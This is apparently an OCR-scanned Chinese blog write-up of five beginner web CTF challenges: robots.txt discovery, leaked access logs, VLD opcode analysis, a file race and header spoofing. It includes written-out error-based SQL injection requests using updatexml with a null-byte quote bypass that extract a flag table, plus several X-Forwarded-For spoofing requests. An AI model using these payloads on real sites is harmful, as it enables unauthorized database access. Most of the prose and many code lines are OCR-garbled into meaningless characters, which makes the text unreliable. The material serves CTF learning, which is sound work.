Web#% 4 CTF @144

&+ 5[5 4% F 2018-01-19 16:34:13 K i 30319 KR 76

FRER: cff LEIRZ: ctfweb

WA S B . A SONTE R R AISCE, B1E CC 4.0 BY-SA FRAUMMYL, i LR SCH b mA S,
AR https://blog.csdn.net/zzxx123520/article/details/79089239

cf EERFZAR
155308 04T H
TRER
BOEE R —CTFRE, %ARARE, RAGUE—T! CTPUHEERAREE, HLBER!
1.Robot

#BwebHI N, FEEH N izErobotshil, RN R. HLEEN, MufiEidrobots il & IFE R 51 %, MR T
A CAICER, AR 42 T T AN RE HTCEL o

AW TR R HE, EXEEREZSARE R TREFErobots.txt, MRFE, BEIBARSERZ M PHAE
R RE Vi i VS s W RZSCEAFAE, T MR AERRS REB U7 M N s EFrE B s ORI, JEMEE A HE
PRSI EWCRX AR, 4 T ZfE Frobots bd3CfF

AT LA 2238 2 75 1 ) 3 3 robots it S

r-"' [ 106.75.86.18:1111/rob X

& C Y | ® 106.75.86.18:1111/robots.txt

Uzer-agent: *

Dizallow

Dizallow: fadmin
Dizallow: fadmind3hell. php

robots Xt fF R T —Sphp 3, ViFphpXXHHEA B, BEEMRERG K HAfag

/ [ 106.75.86.18:1111/adn X J [ view-source:106.75.86. X

c 0O iE) view-source:106.75.86.18:1111/admin/3he11.php

il <=
2| £lag{aacy Tcll-uuwi B-bA42-bdb-bEETR4b2db o}
T

2.seelog


https://blog.csdn.net/zzxx123520
https://blog.csdn.net/zzxx123520/category_7411978.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/zzxx123520/article/details/79089239
https://blog.csdn.net/zzxx123520/category_7411978.html

[ Welcome to nginx! X

C O | ® 106.75.86.18:3333
Fuh=AEERIuL
EBEZAN !

H U i fF #Elog H %

[ Index of flog X

< C 0t ® 106.75.86.18:3333/log/

Index of /log

Name Last modified Size Description

9 Parent Directory

@ access.log 2017-10-17 1440 11M
@ error.log 2017-10-17 14:40 266K

Apache/2.4.7 (Ubuntu) Server at 106.75.86.18 Port 3333

fTFacess.log>ff, HHREGH2000 HHELFK, ATUKR—MERHBE

31 - - [12/0ct/2016:07: 54: 45 +0000] “GET /main/web/eWeb/admin login.asp HTTP/1. 1" 404 466 *-" *-"

3.1 = — [12/0ct/2016:07: 54: 43 +0000] “GET foa/ewebeditor/admin_login. asp HTTP/1. 17 404 466 " *-"

31 - - [12/0ct/2016:07: 54:48 +0000] “GET finc/Editor/admin login asp HITR/1.1" 404 463 "-" "-"

21 - - [12/0ct/2016:07: 54: 48 +0000] “GET fwojiushiHouTai2he/dengll. phpPusername=adningp as swor d=af 3a—6b2 11500220 Maubnit=4ET$O0XEBYESSED%05 HTTR 1. 1" Z0@0771 "-"
"Mozilla/5. 0 (Windows NT 6. 1; WOWE4) LppleWebEit/B37T. 36 (KHTML, like Gecko) Chrome/45.0.2454. 101 Safari/537.36"

3.1 - — [12/0ct/2016:07: 54: 453 H0000] "GET s/modules/ewebeditor/admin login asp HTTP/1.1" 404 471 =" =~

31 - - [12/0ct/2016:07: 64: 45 +0000] “GET fadmin/editor/vsafadmin login asp HTTF/1.1" 404 468 "-* *-°

31 - - [12/0ct/2016:07: 54: 48 +0000] “GET /winxi/eWeb/admin login asp HTTR/1.1" 404 463 "-" "-"

8]
(Wa]
1

‘wojiushiHouTai888/denglU.php?username=admin&password=af3a-6b21

TS T TSR

8
T
i

£}
rf'i

flag{b10233b0-b2d3-df17-aebf-5ddf230cf66f)]



3.VID

BN EE M IR A LLE B —Nindex. php bAfIVERE, 17 %30, AT DVE B — KA R, XA R A
VD%t 8 1] A

Finding emtry points
Branch analyzis from position: 0

Jump found, Pozition 1 = 23, Position 2 = 38
Branch analyzis from position: 23
Tump found, Pozition 1 = 26, Position 2 = 35
Branch analyzisz from pozition: 26
Jump foumd, Pozition 1 = 29, Posmition 2 = 32
Branch analyzis from position: 29
Jump found, Pozition 1 = 34
Branch analyzis from position: 34
Jump found. Pozition 1 = 37
Branch analyzis from position: 37
Tump found, Pozition 1 = 40
Branch analyzisz from position: 40
Eeturn foumd
Branch analyziz from position: 32
Junp found, Posgition 1 = 37
Branch analyziz from position: 37
Branch analyzisz from position: 35
Jump foumd. Pozition 1 = 40
Branch analyzisz from position: 40
Branch analyziz from position: 38
Retwrn found
filename: C:hotfyindex. php
fimction name:  (mall)
mmber of opz: 44
compiled wars: !0 = $a. !'1 =3b, !'2 = ¥c
line #* op fetch ext retum operands
2 0 > EXT_STMT
1 ECHD " doyourHkmow+Hul carrtLo gl o ump er $3F% 30 be%3E
3 2 EXT_STMT
3 EEGIN_SILENCE o
4 FETCH_E. global $1 ' GET
5 FETCH_DIN_E 2 1, “flagl’
& END_STLENCE "o
T ASSIGN o, 2
4 8 EXT_STMT
] EEGIN_SILENCE "4
10 FETCH_R. global $5 ' GET
11 FETCH_DIM_E 16 5, “flag?’
12 END_STLENCE "4
13 ASSIGN 11, 6
5 14 EXT_STMT
15 EE:IN_SILENCE "
18 FETCH_R. global $a ' GET
17 FETCH_DINM_E $10 9, “flagd’
18 END_STLENCE "8
19 ASSIGN 12, 10
6 20 EXT_STMT
21 I5 _EQUAL 12 0, Tfvhijihfey
22 > JWPZ “12, —»38
7 23 » EXT_STINT
24 I5 EQUAL “13 1, "gfuyivhioyt’
25 > JNPZ 13, -»35
g 26 »  EXT_STMT
27 I5 EQUAL “14 12, “yugoiiyhi’
28 > JWPZ 14, -»32
9 28 > EXT_SINT
an ECHO " thetnexttst epH stmx. zip’
10 31 > JWF ~»34

11 32 > EXT_SINI

VLD(Vulcan Logic Dumper)&—/AN7EZend 5| 87, PAEEEIR 77 SUSE LA A T4 PHP BRI AR A& i i R JRIARAS (BT 300D 193
B. EAUE—ERF LEEEZend5| BRI —LLPERE, REAIEIPHPIEDK L& R3S,
WF AVLD % H 5T PHPARED AE gl st [ ARG (5 B



e Branch analysis from position X %15 8 2 7E 4 HT S i (6

e Returnfound RERE, EAEAE EHHE

e filename 43 #1130 4

e function name E#4, 4 EARBVLDE LR —BW LM HER, X EERSETRBUNER
e number of ops 4 i I /E

* compiled vars Zi¥ A KL E, XLABREPHPSERMEK, ER—ANEFENIL. XHKZEEPHPIEFLUIS_CVis
-‘LEIIO

op list 4 BB H [T O 2R B 51 3%

AT T IAT THIER, EAVLDHRERRER

php -dvid.active=1 1.php

VLD#RFE B ER, A3NSHENGET A feid, HiEURL

http://106.75.26.211:1111/?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flagd=yugoiiyhi


http://106.75.26.211:1111/?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi

/[ 106.75.26.211:1111/2 % ' [J view-source:106.75.26

€ > C (0 |® 106.7526211:1111/2flagl =fvhjjin

do you know Vulcan Logic Dumper?
the next step is 1chungiu.zip

T#Achungiuzip3XfF, R — YRR S

7

| css

1.php
config.inc.php
dbmysql.class.php
[ login.html
login.php

[#] register.html
register.php

fER B

2018/1/17 18:00
2018/1/17 17:09
2016/9/29 16:04
2016/8/8 10:28

2016/8/7 14:50

2016/9/29 17:50
2016/9/29 16:47
2016/9/29 16:50

1 i http:/106.75.26.211:1111/1chungiwlogin.html

SR

=

JetBrains PhpSto...
JetBrains PhpSto..
JetBrains PhpSto...

HTML =044

JetBrains PhpSto...

HTML =245

JetBrains PhpSto...

Fuh

1KB
1KB
2 KB
1KB
2 KB
1KB
2 KB

| @ =2 | 106.75.26.211:1111/1chungiu/login.html

REER—IECMEIS ?

=

APE

=

EEloginphpdiE, KA, ERAHEST.

lif(is=set |:$_POS'II 'username']) && isset |:$_POS'I ['pas=sword']) && isset ts_POST ["number*]} )4

$db = new mysqgl dbi):

Susername = Sdb-»rsafe data($ POST['username']):

¢password = $db->my md5($ POST['password']);
Snumber = is numeric($ POST['number']} 2 $ POST['number']

Susername = trim(str replace ($number,

', Susername) );


http://106.75.26.211:1111/1chunqiu/login.html

i}

P %005k Be 1 & iz 45 5% 3 hn_E f#9°V SQLiE A, id 7

W

Request
J Raw T Params I Headers T Hex }

%00'—>\0'—>\'—>\", Flburp suite¥yMBiEN, L& Zlflag

Response

| Raw | Headers | Hex |

POST /lchungiu/login.php HTTPE/Ll.1 A HTTF/Ll.1l 200 CK
Heat: IBbw:FE 205 211511000 & Date: Thu, 1B Jan 2018 11:3Z2:45 GHNT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4: Server: Apache/2.4.7 (Ubuntu)
rv:57.0) Gecko/Z0100101 Firefox/57.0 ¥-FPowered-EBy: PHF/5.5.%9-lubuntu4.2Z
Aocept: Content-Length: 54
text/html, application/xhtml+xml, application/xml;q=0.9, Connection: close
*/*:q=0.8 Content-Type: text/html; charset=utf-8
Accept-Language:
zh-CN, zh:;q=0.8, eh-TW;g=0.7, 2h-HE; ¢=0.5,en-US;¢=0.3,en 0000000 !XPATH syntax error: 'flay,users'
;e=0.2
Beferer:
http://LI0E6.75.26.211: 1111/ lehungiu/ login. html
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: close
Upgrade-Insecure-FRequests: 1
number=0&username=12%00%27 and
updatexml (1, concat{l, (select
group concat (table name) from
information schema.tables where
table_schema=database[l11,l}#&password=l:3&submit=1EE
LE8F%80%E4%5EAS L5 EE5SF S ASSEESAFS A
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW&4; Serwver: Apache/2.4.7 (Ubuntu)
rv:57.0) Gecko/Z0Ll00Ll0L Firefox/57.0 ¥-Powered-By: PHF/5.5.59-lubuntu4.2Z
Lecept: Vary: Accept-Encoding
text/html,application/xhtml+xml, application/=ml;q=0.9, Content-Length: 7&
*/*;q=0.8 Connection: close
Aoecept-Language: Content-Type: text/html; charset=utf-g
zh—CHM, zh; g=0.8, 2h-TW; g=0.7, 2h-HE;gq=0.5,en-U3;gq=0.3,en
;q=0.2 0000000 ! XPATH syntax error:
Referesr: 'flag{B8TE£2f55e-9f3h-3761-9eef-405"'
http://L06.75.26.21L:1111/ lchungiu/login. html
Content-Type: application/x-wwv-formw-urlencoded
Content-Length: 134
Connection: close
Upgrade-Insecure-FRequests: 1
nunber=0&username=12%00%27 and
updatexml (l,concatil, (select * from
flag)),l)#epassword=123&submit=%E6%BF%50%E4%BAS A4%EES
SF%L5%5EQ%AFSAZ
Hequest Hesponse
jRaw T Params T Headers I Hex ] J Raw I Headers T Hex }
POST /lchungiu/ login.php HTTE/L.1 " HTTP/1l.l 200 OK
Host: 106.75.26.211:1111 - Date: Thu, 18 Jan Z01E 11:44:52 GHT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4: Server: Apache/Z.4.7 (Ubuntu)
rv:57.0) Gecko/ZD1lD0101 Firefox/57.0 X-Powered-By: PHP/5.5.9-lubuntug.zZ2
Aocept: Vary: Accept-Encoding

text/html, application/xhtml+xml, application/xml;q=0.9,
*f*r=0.8

Accept-Language:

zh-CN, zh;q=0.8, zh-TW;q=0.7, 2h-HK;q=0.5,en-U5;¢=0.3,en
sgq=0.2

Feferer:
http://L0E.75.26.21L: 1111/ lchungiu/login. html
Content-Type: application/x-www-form-urlencoded
Content-Length: 151

Connection: close

Upgrade-Insecure-Requests: 1

number=0&usernamse=1I%00%Z27 and
undatrexml i | .concat il . subhatrinoail igelact ¥ From

Content-Length: 74
Connection:
Content-Type:

close

text/html; charset=utf-g8

0000000 ! XPATH syntax error:
'e-9f3b-3761-9ecef-4054e88ee51f}'



flag) , l:;, 32)),1l)#epassword=123 ésubmit=%EE3BF%90%E4%EAL
5A45EE5OF5ASSEBSAFSAD

4. K T B Ty ME RN

o C @ @ 106.75.26.211:3333
<?php

header (" content—type:text/html ;charset=utf-8") ;
‘90000 o000 !

g = al T » » - oy
setcookie( token , hello };

show source( FILE ):

if ($_COOKIE[ token’ ]== hello’){
$txt = file get contents( flaz. php’ ):
$filename = 1/ .md5{(mt_rand(l, 1000)). . txt’
file put_contents($filename, $txt):
sleep(10) ;
unlink(§filename) ;

ViIP, R HEF/uEFTEER—AEN RS, HFREE10R
H 5 pythonfil A< 18 1 SC 142

requests
hashlib

= m.update( (1).encode("'

A PAT R B, KL

C-Uzsers Adninistrator>python C:ssers“Adninistrator Desktop™2.py
K ?php

5f lag="f lag{?@5ce?8f -bh?f-bhblad-acco—be aA7bf §BeP5a¥!";

5.fuzzing




- ARSI :zazzﬁest.ljhp x

&« ¢ @ @ 106.75.108.111:2222/test.php

there is nothing

burp 373 #r

Request Response
J Raw T Headers I Hex } J Raw I Headers I Hex }

GET /test.php HTTP/L.1L i HTTE/Ll.1 200 OK

Host: 10OE.75.108.111:2222 " Date: Fri, 19 Jan 2018 07:43:03 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWeE4:; rv:57.0) Server: Apaches/2.4.7 (Ubuntu)
Gecko/Z01l00101 Firefox/57.0 ¥-Powered-By: FHF/5.5.5-lubuntu4.2z2
Aoccept: hint: ip,Large internal network
text/html, application/xhtml4xml, application/xml;q=0.9,*/*:q=0.8 Content-Length: 16
Lhoecept-Language: Connection: close

zh-CMN, zh;q=0.8, eh-TW;q=0.7, sh-HE; q=0.5,en-US; q=0.3,en; g=0.2 Content-Type: text/html
Connection: close
Upgrade-Insecure-Requests: 1 there is nothing
Cache-Control: max—age=0

REIERRNERIPATERAMNS, F3EE kP EHINX-Forwarded-For, fhi&IP

Go Cancel < |v > | Follow redirection Target: http://106.1

Request Response
J Raw T Headers I Hex 1 J Raw T Headers I Hex 1

GET /test.php HTTE/L.1 " HTTE/Ll.l 302 Found

Ho=st: 10g.75.108.L1L1L1:2222 P Date: Fri, 19 Jan 2013 07:51:44 GHMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4: rv:57.0) Server: Apache/2.4.7 (Ubuntu)
Gecko/20100101 Firefox/57.0 ¥-Powered-By: PHP/5.5.9-lubuntud.22
Aococept: Location: mdnages.php
text/html, application/xhtml+4xml, application/xml;q=0.9, */*;q=0.8 Content-Length: 0
Aocept-Languags: Connection: close

zh-CH, zh;q=0.8, 2h-TW; gq=0.7, zh-HE; g=0.5,en-US; g=0.3,en;gq=0.2 Content-Type: text/html

Connection: closes
Upgrade-Insecure-Fequests: 1
Cache-Control: max-age=0
x—forwarded-for:10.0.0.155

REELEAFRZR: mdnage.php

Request Response

J Raw T Headers I Hex ] J Raw T Headers T Hex ]

FET /midnage.php HTTP/1.1 A HTTF/1.1 200 OK

Host: 106.75.108.111:2222 P Date: Fri, 15 Jan Z018 07:53:48 GMT
User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWEd: rv:57.0) Server: Apache/2.4.7 (Ubuntu)
Fecko/20100101 Firefox/57.0 ¥-Powered-By: PHP/5.5.9-lubuntu4.22
Locept: Content-Length: 1l&

text/html, application/xhtml+xml, application/xml: q=0.9,*/*;q=0.8 Connection: close

bocept-Language : Content-Type: text/html

zh—-CHM, zh;q=0.8, sh-TW;q=0.7, 2sh-HE;=0.5,en-US;q=0.3,en:;qg=0.2

Zonnection: close show me your key
Upgrade-Insecure-Requests: 1

Zache-Control: max-age=0

v—forwarded-for:10.0.0.155




WOV 1) iz, #iEPOSTHE A& NkeylH

Request Response

J Raw I Params I Headers | Hex Raw | Headers | Hex

FPOST /médnage.php HTTE/1.1 " HTTF/1.1 200 OKE

Host: L0OE.75.108.111:Z2Z2Z22 P Date: Fri, 19 Jan 2018 07:59:51 GMT
User—Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:57.0) Server: Apache/2.4.7 (Ubuntu)
Gecko/20100101 Firefox/57.0 ¥-Powered-By: PHP/5.5.9-lubuntu4.ZZ
Aocept: *Av Vary: Accept-Encoding
Aoccept-Language: Content-Length: 97

zh-CH, zh;q=0.8, zh-TW:q=0.7, zh-HE; =0.5,en-U3:q=0.3 ,en; q=0.2 Connection: close

content—-type: application/x-www—form-urlencoded Content-Type: text/html

cache: no-cache

origin: moz-extenzion://89ladfed-4270-4ffa-b44a-h9556593L 792 key is not

Content-Length: 10 right md5(key)==="5a2a7d385fdaad3fabbeThllc28bd48e" ,and the
Connection: close key is ichungiuf[a-z0-9]{5}
¥-forwvarded-for:10.0.0.155

key=12345€

ENHIkey[ENIER, FHE4H T keyERIMdSINEEMkeyERTJULAL, FMHIAE HkeylE

B keyE

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
| Raw [ Params |

POST /mdnage.php HTTF/L.1 A HTTP/1l.1 200 OE

Host: 10€.75.108.111:2222 a Date: Fri, 19 Jan Z018 08:17:37 GNT
User—LAgent: Mozilla/S5.0 (Windows NT 10.0; WOWE4; rvw:57.0) Server: Apache/Z.4.7 (Ubuntu)
Gecko/20100101 Firefox/57.0 ¥-Powered-Ey: PHP/5.5.9-lubuntu4.2:Z
Aocept: ®/F Content-Length: 27

Accept-Language : Connection: close

zh-CHM, zh;q=0.8, zh-TW;q=0.7, zh-HE;q=0.5,en-U3;q=0.3,en;q=0.2 Content-Type: text/html
content-type: application/x-www-form-urlencoded

cache: no-cache the next step: xx00xocoo0.php

origin: moz-extension://89ladfed-4270-4ffa-h44a-h9556930LTc9l
Content-Length: 17

Connection: close

x-forvarded-for:10.0.0.155

key=ichungiugl8ok

NR—HREFR, WAMEEFR, x0.¢ M Lidauthcode RN FE Iflag, T7HIx0.tdt, T & —BiphpiRid, N iZ M K
.
REHUANSH, KNIRIEEU E % string, keyB1&2 4



BIUREE A, WEREE, BBEAZEREES!



	Web安全CTF 题初级试练
	1.Robot
	2.seelog
	3.VID
	4.天下武功唯快不破
	5.fuzzing

